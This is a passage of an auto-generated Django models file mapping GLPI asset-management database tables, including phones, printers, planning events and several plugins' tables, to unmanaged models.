blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) ticket_tco = models.DecimalField(max_digits=20, decimal_places=4, blank=True, null=True) is_dynamic = models.IntegerField() date_creation = models.DateTimeField(blank=True, null=True) is_recursive = models.IntegerField() class Meta: managed = False db_table = 'glpi_peripherals' class GlpiPeripheraltypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_peripheraltypes' class GlpiPhonemodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_phonemodels' class GlpiPhonepowersupplies(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_phonepowersupplies' class GlpiPhones(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) contact = models.CharField(max_length=255, blank=True, null=True) contact_num = models.CharField(max_length=255, blank=True, null=True) users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() comment = models.TextField(blank=True, null=True) serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) phonetypes = models.ForeignKey('GlpiPhonetypes', on_delete=models.PROTECT) phonemodels = models.ForeignKey('GlpiPhonemodels', on_delete=models.PROTECT) brand = models.CharField(max_length=255, blank=True, null=True) phonepowersupplies = models.ForeignKey('GlpiPhonepowersupplies', on_delete=models.PROTECT) number_line = models.CharField(max_length=255, blank=True, null=True) have_headset = models.IntegerField() have_hp = models.IntegerField() manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) is_global = models.IntegerField() is_deleted = models.IntegerField() is_template = models.IntegerField() template_name = models.CharField(max_length=255, blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) ticket_tco = models.DecimalField(max_digits=20, decimal_places=4, blank=True, null=True) is_dynamic = models.IntegerField() date_creation = models.DateTimeField(blank=True, null=True) is_recursive = models.IntegerField() class Meta: managed = False db_table = 'glpi_phones' class GlpiPhonetypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_phonetypes' class GlpiPlanningeventcategories(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) color = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_planningeventcategories' class GlpiPlanningexternalevents(models.Model): id = models.IntegerField(primary_key=True) uuid = models.CharField(unique=True, max_length=255, blank=True, null=True) planningexternaleventtemplates = models.ForeignKey('GlpiPlanningexternaleventtemplates', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() date = models.DateTimeField(blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) users_id_guests = models.TextField(blank=True, null=True) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) text = models.TextField(blank=True, null=True) begin = models.DateTimeField(blank=True, null=True) end = models.DateTimeField(blank=True, null=True) rrule = models.TextField(blank=True, null=True) state = models.IntegerField() planningeventcategories = models.ForeignKey('GlpiPlanningeventcategories', on_delete=models.PROTECT) background = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_planningexternalevents' class GlpiPlanningexternaleventtemplates(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) text = models.TextField(blank=True, null=True) comment = models.TextField(blank=True, null=True) duration = models.IntegerField() before_time = models.IntegerField() rrule = models.TextField(blank=True, null=True) state = models.IntegerField() planningeventcategories = models.ForeignKey('GlpiPlanningeventcategories', on_delete=models.PROTECT) background = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_planningexternaleventtemplates' class GlpiPlanningrecalls(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=100) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) before_time = models.IntegerField() when = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_planningrecalls' unique_together = ('itemtype', 'items_id', 'users') class GlpiPluginDatainjectionInfos(models.Model): id = models.IntegerField(primary_key=True) models_id = models.IntegerField() itemtype = models.CharField(max_length=255) value = models.CharField(max_length=255) is_mandatory = models.IntegerField() class Meta: managed = False db_table = 'glpi_plugin_datainjection_infos' class GlpiPluginDatainjectionMappings(models.Model): id = models.IntegerField(primary_key=True) models_id = models.IntegerField() itemtype = models.CharField(max_length=255) rank = models.IntegerField() name = models.CharField(max_length=255) value = models.CharField(max_length=255) is_mandatory = models.IntegerField() class Meta: managed = False db_table = 'glpi_plugin_datainjection_mappings' class GlpiPluginDatainjectionModelcsvs(models.Model): id = models.IntegerField(primary_key=True) models_id = models.IntegerField() itemtype = models.CharField(max_length=255) delimiter = models.CharField(max_length=1) is_header_present = models.IntegerField() class Meta: managed = False db_table = 'glpi_plugin_datainjection_modelcsvs' class GlpiPluginDatainjectionModels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) filetype = models.CharField(max_length=255) itemtype = models.CharField(max_length=255) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) behavior_add = models.IntegerField() behavior_update = models.IntegerField() can_add_dropdown = models.IntegerField() can_overwrite_if_not_empty = models.IntegerField() is_private = models.IntegerField() is_recursive = models.IntegerField() perform_network_connection = models.IntegerField() users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) date_format = models.CharField(max_length=11) float_format = models.IntegerField() port_unicity = models.IntegerField() step = models.IntegerField() class Meta: managed = False db_table = 'glpi_plugin_datainjection_models' class GlpiPluginFieldsContainers(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) label = models.CharField(max_length=255, blank=True, null=True) itemtypes = models.TextField(blank=True, null=True) type = models.CharField(max_length=255, blank=True, null=True) subtype = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() is_active = models.IntegerField() class Meta: managed = False db_table = 'glpi_plugin_fields_containers' class GlpiPluginFieldsFields(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) label = models.CharField(max_length=255, blank=True, null=True) type = models.CharField(max_length=25, blank=True, null=True) plugin_fields_containers = models.ForeignKey('GlpiPluginFieldsContainers', on_delete=models.PROTECT) ranking = models.IntegerField() default_value = models.CharField(max_length=255, blank=True, null=True) is_active = models.IntegerField() is_readonly = models.IntegerField() mandatory = models.IntegerField() class Meta: managed = False db_table = 'glpi_plugin_fields_fields' class GlpiPluginFieldsLabeltranslations(models.Model): id = models.IntegerField(primary_key=True) plugin_fields_itemtype = models.CharField(max_length=30) plugin_fields_items_id = models.IntegerField() language = models.CharField(max_length=5) label = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_fields_labeltranslations' unique_together = (('plugin_fields_itemtype', 'plugin_fields_items_id', 'language'),) class GlpiPluginFieldsProfiles(models.Model): id = models.IntegerField(primary_key=True) profiles = models.ForeignKey('GlpiProfiles', on_delete=models.PROTECT) plugin_fields_containers = models.ForeignKey('GlpiPluginFieldsContainers', on_delete=models.PROTECT) right = models.CharField(max_length=1, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_fields_profiles' class GlpiPluginFormcreatorAnswers(models.Model): id = models.IntegerField(primary_key=True) plugin_formcreator_formanswers_id = models.IntegerField() plugin_formcreator_questions = models.ForeignKey('GlpiPluginFormcreatorQuestions', on_delete=models.PROTECT) answer = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_formcreator_answers' class GlpiPluginFormcreatorCategories(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255) comment = models.TextField(blank=True, null=True) completename = models.CharField(max_length=255, blank=True, null=True) plugin_formcreator_categories = models.ForeignKey('self', on_delete=models.PROTECT) level = models.IntegerField() sons_cache = models.TextField(blank=True, null=True) ancestors_cache = models.TextField(blank=True, null=True) knowbaseitemcategories = models.ForeignKey('GlpiKnowbaseitemcategories', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_plugin_formcreator_categories' class GlpiPluginFormcreatorConditions(models.Model): id = models.IntegerField(primary_key=True) itemtype = models.CharField(max_length=255) items_id = models.IntegerField() plugin_formcreator_questions = models.ForeignKey('GlpiPluginFormcreatorQuestions', on_delete=models.PROTECT) show_condition = models.IntegerField() show_value = models.CharField(max_length=255, blank=True, null=True) show_logic = models.IntegerField() order = models.IntegerField() uuid = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_formcreator_conditions' class GlpiPluginFormcreatorEntityconfigs(models.Model): id = models.IntegerField(primary_key=True) replace_helpdesk = models.IntegerField() class Meta: managed = False db_table = 'glpi_plugin_formcreator_entityconfigs' class GlpiPluginFormcreatorFormanswers(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() plugin_formcreator_forms = models.ForeignKey('GlpiPluginFormcreatorForms', on_delete=models.PROTECT) requester_id = models.IntegerField(blank=True, null=True) users_id_validator = models.IntegerField() groups_id_validator = models.IntegerField() request_date = models.DateTimeField() status = models.IntegerField() comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_formcreator_formanswers' class GlpiPluginFormcreatorForms(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() icon = models.CharField(max_length=255) icon_color = models.CharField(max_length=255) background_color = models.CharField(max_length=255) access_rights = models.IntegerField() requesttype = models.IntegerField() description = models.CharField(max_length=255, blank=True, null=True) content = models.TextField(blank=True, null=True) plugin_formcreator_categories = models.ForeignKey('GlpiPluginFormcreatorCategories', on_delete=models.PROTECT) is_active = models.IntegerField() language = models.CharField(max_length=5) helpdesk_home = models.IntegerField() is_deleted = models.IntegerField() validation_required = models.IntegerField() usage_count = models.IntegerField() is_default = models.IntegerField() show_rule = models.IntegerField() uuid = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_formcreator_forms' class GlpiPluginFormcreatorFormsProfiles(models.Model): id = models.IntegerField(primary_key=True) plugin_formcreator_forms = models.ForeignKey('GlpiPluginFormcreatorForms', on_delete=models.PROTECT) profiles = models.ForeignKey('GlpiProfiles', on_delete=models.PROTECT) uuid = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_formcreator_forms_profiles' unique_together = ('plugin_formcreator_forms', 'profiles') class GlpiPluginFormcreatorFormsValidators(models.Model): id = models.IntegerField(primary_key=True) plugin_formcreator_forms = models.ForeignKey('GlpiPluginFormcreatorForms', on_delete=models.PROTECT) itemtype = models.CharField(max_length=255) items_id = models.IntegerField() uuid = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_formcreator_forms_validators' unique_together = ('plugin_formcreator_forms', 'itemtype', 'items_id') class GlpiPluginFormcreatorIssues(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255) display_id = models.CharField(max_length=255) original_id = models.IntegerField() sub_itemtype = models.CharField(max_length=100) status = models.CharField(max_length=255) date_creation = models.DateTimeField() date_mod = models.DateTimeField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() requester_id = models.IntegerField() users_id_validator = models.IntegerField() groups_id_validator = models.IntegerField() comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_formcreator_issues' class GlpiPluginFormcreatorItemsTargettickets(models.Model): id = models.IntegerField(primary_key=True) plugin_formcreator_targettickets = models.ForeignKey('GlpiTickets', on_delete=models.PROTECT) link = models.IntegerField() itemtype = models.CharField(max_length=255) items_id = models.IntegerField() uuid = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_formcreator_items_targettickets' class GlpiPluginFormcreatorQuestiondependencies(models.Model): id = models.IntegerField(primary_key=True) plugin_formcreator_questions = models.ForeignKey('GlpiPluginFormcreatorQuestions', on_delete=models.PROTECT) plugin_formcreator_questions_id_2 = models.ForeignKey('GlpiPluginFormcreatorQuestions', on_delete=models.PROTECT, related_name='plugin_formcreator_questions_id_2') fieldname = models.CharField(max_length=255, blank=True, null=True) uuid = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_formcreator_questiondependencies' class GlpiPluginFormcreatorQuestionranges(models.Model): id = models.IntegerField(primary_key=True) plugin_formcreator_questions = models.ForeignKey('GlpiPluginFormcreatorQuestions', on_delete=models.PROTECT) range_min = models.CharField(max_length=255, blank=True, null=True) range_max = models.CharField(max_length=255, blank=True, null=True) fieldname = models.CharField(max_length=255, blank=True, null=True) uuid = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_formcreator_questionranges' class GlpiPluginFormcreatorQuestionregexes(models.Model): id = models.IntegerField(primary_key=True) plugin_formcreator_questions = models.ForeignKey('GlpiPluginFormcreatorQuestions', on_delete=models.PROTECT) regex = models.TextField(blank=True, null=True) fieldname = models.CharField(max_length=255, blank=True, null=True) uuid = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_formcreator_questionregexes' class GlpiPluginFormcreatorQuestions(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255) plugin_formcreator_sections = models.ForeignKey('GlpiPluginFormcreatorSections', on_delete=models.PROTECT) fieldtype = models.CharField(max_length=30) required = models.IntegerField() show_empty = models.IntegerField() default_values = models.TextField(blank=True, null=True) values = models.TextField(blank=True, null=True) description = models.TextField() order = models.IntegerField() show_rule = models.IntegerField() uuid = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_formcreator_questions' class GlpiPluginFormcreatorSections(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255) plugin_formcreator_forms = models.ForeignKey('GlpiPluginFormcreatorForms', on_delete=models.PROTECT) order = models.IntegerField() show_rule = models.IntegerField() uuid = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_formcreator_sections' class GlpiPluginFormcreatorTargetchanges(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255) plugin_formcreator_forms = models.ForeignKey('GlpiPluginFormcreatorForms', on_delete=models.PROTECT) target_name = models.CharField(max_length=255) content = models.TextField(blank=True, null=True) impactcontent = models.TextField(blank=True, null=True) controlistcontent = models.TextField(blank=True, null=True) rolloutplancontent = models.TextField(blank=True, null=True) backoutplancontent = models.TextField(blank=True, null=True) checklistcontent = models.TextField(blank=True, null=True) due_date_rule = models.IntegerField() due_date_question = models.IntegerField(blank=True, null=True) due_date_value = models.IntegerField(blank=True, null=True) due_date_period = models.IntegerField() urgency_rule = models.IntegerField() urgency_question = models.IntegerField() validation_followup = models.IntegerField() destination_entity = models.IntegerField() destination_entity_value = models.IntegerField(blank=True, null=True) tag_type = models.IntegerField() tag_questions = models.CharField(max_length=255) tag_specifics = models.CharField(max_length=255) category_rule = models.IntegerField() category_question = models.IntegerField() show_rule = models.IntegerField() uuid = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_formcreator_targetchanges' class GlpiPluginFormcreatorTargetchangesActors(models.Model): id = models.IntegerField(primary_key=True) plugin_formcreator_targetchanges = models.ForeignKey('GlpiChanges', on_delete=models.PROTECT) actor_role = models.IntegerField() actor_type = models.IntegerField() actor_value = models.IntegerField(blank=True, null=True) use_notification = models.IntegerField() uuid = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_formcreator_targetchanges_actors' class GlpiPluginFormcreatorTargettickets(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255) plugin_formcreator_forms = models.ForeignKey('GlpiPluginFormcreatorForms', on_delete=models.PROTECT) target_name = models.CharField(max_length=255) type_rule = models.IntegerField() type_question = models.IntegerField() tickettemplates = models.ForeignKey('GlpiTicketTemplates', on_delete=models.SET_NULL, blank=True, null=True) content = models.TextField(blank=True, null=True) due_date_rule = models.IntegerField() due_date_question = models.IntegerField(blank=True, null=True) due_date_value = models.IntegerField(blank=True, null=True) due_date_period = models.IntegerField() urgency_rule = models.IntegerField() urgency_question = models.IntegerField() validation_followup = models.IntegerField() destination_entity = models.IntegerField() destination_entity_value = models.IntegerField(blank=True, null=True) tag_type = models.IntegerField() tag_questions = models.CharField(max_length=255) tag_specifics = models.CharField(max_length=255) category_rule = models.IntegerField() category_question = models.IntegerField() associate_rule = models.IntegerField() associate_question = models.IntegerField() uuid = models.CharField(max_length=255, blank=True, null=True) location_rule = models.IntegerField() location_question = models.IntegerField() show_rule = models.IntegerField() class Meta: managed = False db_table = 'glpi_plugin_formcreator_targettickets' class GlpiPluginFormcreatorTargetticketsActors(models.Model): id = models.IntegerField(primary_key=True) plugin_formcreator_targettickets = models.ForeignKey('GlpiTickets', on_delete=models.PROTECT) actor_role = models.IntegerField() actor_type = models.IntegerField() actor_value = models.IntegerField(blank=True, null=True) use_notification = models.IntegerField() uuid = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_formcreator_targettickets_actors' class GlpiPluginGenericobjectTypefamilies(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_genericobject_typefamilies' class GlpiPluginGenericobjectTypes(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) itemtype = models.CharField(max_length=255, blank=True, null=True) is_active = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) use_global_search = models.IntegerField() use_unicity = models.IntegerField() use_history = models.IntegerField() use_infocoms = models.IntegerField() use_contracts = models.IntegerField() use_documents = models.IntegerField() use_tickets = models.IntegerField() use_links = models.IntegerField() use_loans = models.IntegerField() use_network_ports = models.IntegerField() use_direct_connections = models.IntegerField() use_plugin_datainjection = models.IntegerField() use_plugin_pdf = models.IntegerField() use_plugin_order = models.IntegerField() use_plugin_uninstall = models.IntegerField() use_plugin_geninventorynumber = models.IntegerField() use_menu_entry = models.IntegerField() use_projects = models.IntegerField() linked_itemtypes = models.TextField(blank=True, null=True) plugin_genericobject_typefamilies = models.ForeignKey('GlpiPluginGenericobjectTypefamilies', on_delete=models.PROTECT) use_notepad = models.IntegerField() use_plugin_simcard = models.IntegerField() use_plugin_treeview = models.IntegerField() class Meta: managed = False db_table = 'glpi_plugin_genericobject_types' class GlpiPluginMetabaseProfilerights(models.Model): id = models.IntegerField(primary_key=True) profiles = models.ForeignKey('GlpiProfiles', on_delete=models.PROTECT) dashboard_uuid = models.IntegerField() rights = models.IntegerField() class Meta: managed = False db_table = 'glpi_plugin_metabase_profilerights' unique_together = ('profiles', 'dashboard_uuid') class GlpiPluginMreportingConfigs(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) classname = models.CharField(max_length=255, blank=True, null=True) is_active = models.IntegerField() is_notified = models.IntegerField() show_graph = models.IntegerField() show_area = models.IntegerField() spline = models.IntegerField() show_label = models.CharField(max_length=10, blank=True, null=True) flip_data = models.IntegerField() unit = models.CharField(max_length=10, blank=True, null=True) default_delay = models.CharField(max_length=10, blank=True, null=True) condition = models.CharField(max_length=255, blank=True, null=True) graphtype = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_mreporting_configs' class GlpiPluginMreportingDashboards(models.Model): id = models.IntegerField(primary_key=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) reports_id = models.IntegerField() configuration = models.CharField(max_length=500, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_mreporting_dashboards' class GlpiPluginMreportingNotifications(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) notepad = models.TextField(blank=True, null=True) date_envoie = models.DateField(blank=True, null=True) notice = models.IntegerField() alert = models.IntegerField() comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) is_deleted = models.IntegerField() class Meta: managed = False db_table = 'glpi_plugin_mreporting_notifications' class GlpiPluginMreportingPreferences(models.Model): id = models.IntegerField(primary_key=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) template = models.CharField(max_length=255, blank=True, null=True) selectors = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_mreporting_preferences' class GlpiPluginMreportingProfiles(models.Model): id = models.IntegerField(primary_key=True) profiles = models.ForeignKey('GlpiProfiles', on_delete=models.PROTECT) reports = models.IntegerField() right = models.CharField(max_length=1, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_mreporting_profiles' unique_together = ('profiles', 'reports') class GlpiPluginTreeviewConfigs(models.Model): id = models.IntegerField(primary_key=True) target = models.CharField(max_length=255) folderlinks = models.IntegerField(db_column='folderLinks') # Field name made lowercase. useselection = models.IntegerField(db_column='useSelection') # Field name made lowercase. uselines = models.IntegerField(db_column='useLines') # Field name made lowercase. useicons = models.IntegerField(db_column='useIcons') # Field name made lowercase. closesamelevel = models.IntegerField(db_column='closeSameLevel') # Field name made lowercase. itemname = models.IntegerField(db_column='itemName') # Field name made lowercase. locationname = models.IntegerField(db_column='locationName') # Field name made lowercase. class Meta: managed = False db_table = 'glpi_plugin_treeview_configs' class GlpiPluginTreeviewPreferences(models.Model): id = models.IntegerField(primary_key=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) show_on_load = models.IntegerField() class Meta: managed = False db_table = 'glpi_plugin_treeview_preferences' class GlpiPluginTreeviewProfiles(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) treeview = models.CharField(max_length=1, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_treeview_profiles' class GlpiPluginWebresourcesCategories(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255) comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_webresources_categories' class GlpiPluginWebresourcesResources(models.Model): id = models.IntegerField(primary_key=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) name = models.CharField(max_length=255) link = models.CharField(max_length=255) icon = models.CharField(max_length=255, blank=True, null=True) color = models.CharField(max_length=16) plugin_webresources_categories = models.ForeignKey('GlpiPluginWebresourcesCategories', on_delete=models.SET_NULL, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_webresources_resources' class GlpiPluginWebresourcesResourcesEntities(models.Model): id = models.IntegerField(primary_key=True) plugin_webresources_resources = models.ForeignKey('GlpiPluginWebresourcesResources', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_webresources_resources_entities' class GlpiPluginWebresourcesResourcesGroups(models.Model): id = models.IntegerField(primary_key=True) plugin_webresources_resources = models.ForeignKey('GlpiPluginWebresourcesResources', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_webresources_resources_groups' class GlpiPluginWebresourcesResourcesProfiles(models.Model): id = models.IntegerField(primary_key=True) plugin_webresources_resources = models.ForeignKey('GlpiPluginWebresourcesResources', on_delete=models.PROTECT) profiles = models.ForeignKey('GlpiProfiles', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugin_webresources_resources_profiles' class GlpiPluginWebresourcesResourcesUsers(models.Model): id = models.IntegerField(primary_key=True) plugin_webresources_resources = models.ForeignKey('GlpiPluginWebresourcesResources', on_delete=models.PROTECT) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_plugin_webresources_resources_users' class GlpiPlugins(models.Model): id = models.IntegerField(primary_key=True) directory = models.CharField(unique=True, max_length=255) name = models.CharField(max_length=255) version = models.CharField(max_length=255) state = models.IntegerField() author = models.CharField(max_length=255, blank=True, null=True) homepage = models.CharField(max_length=255, blank=True, null=True) license = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugins' class GlpiPlugs(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_plugs' class GlpiPrintermodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_printermodels' class GlpiPrinters(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) contact = models.CharField(max_length=255, blank=True, null=True) contact_num = models.CharField(max_length=255, blank=True, null=True) users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) have_serial = models.IntegerField() have_parallel = models.IntegerField() have_usb = models.IntegerField() have_wifi = models.IntegerField() have_ethernet = models.IntegerField() comment = models.TextField(blank=True, null=True) memory_size = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) networks = models.ForeignKey('GlpiNetworks', on_delete=models.PROTECT) printertypes = models.ForeignKey('GlpiPrintertypes', on_delete=models.PROTECT) printermodels = models.ForeignKey('GlpiPrintermodels', on_delete=models.PROTECT) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) is_global = models.IntegerField() is_deleted = models.IntegerField() is_template = models.IntegerField() template_name = models.CharField(max_length=255, blank=True, null=True) init_pages_counter = models.IntegerField() last_pages_counter = models.IntegerField() users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) ticket_tco = models.DecimalField(max_digits=20, decimal_places=4, blank=True, null=True) is_dynamic = models.IntegerField() date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_printers' class GlpiPrintertypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_printertypes' class GlpiProblemcosts(models.Model): id = models.IntegerField(primary_key=True) problems = models.ForeignKey('GlpiProblems', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) begin_date = models.DateField(blank=True, null=True) end_date = models.DateField(blank=True, null=True) actiontime = models.IntegerField() cost_time = models.DecimalField(max_digits=20, decimal_places=4) cost_fixed = models.DecimalField(max_digits=20, decimal_places=4) cost_material = models.DecimalField(max_digits=20, decimal_places=4) budgets = models.ForeignKey('GlpiBudgets', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) class Meta: managed = False db_table = 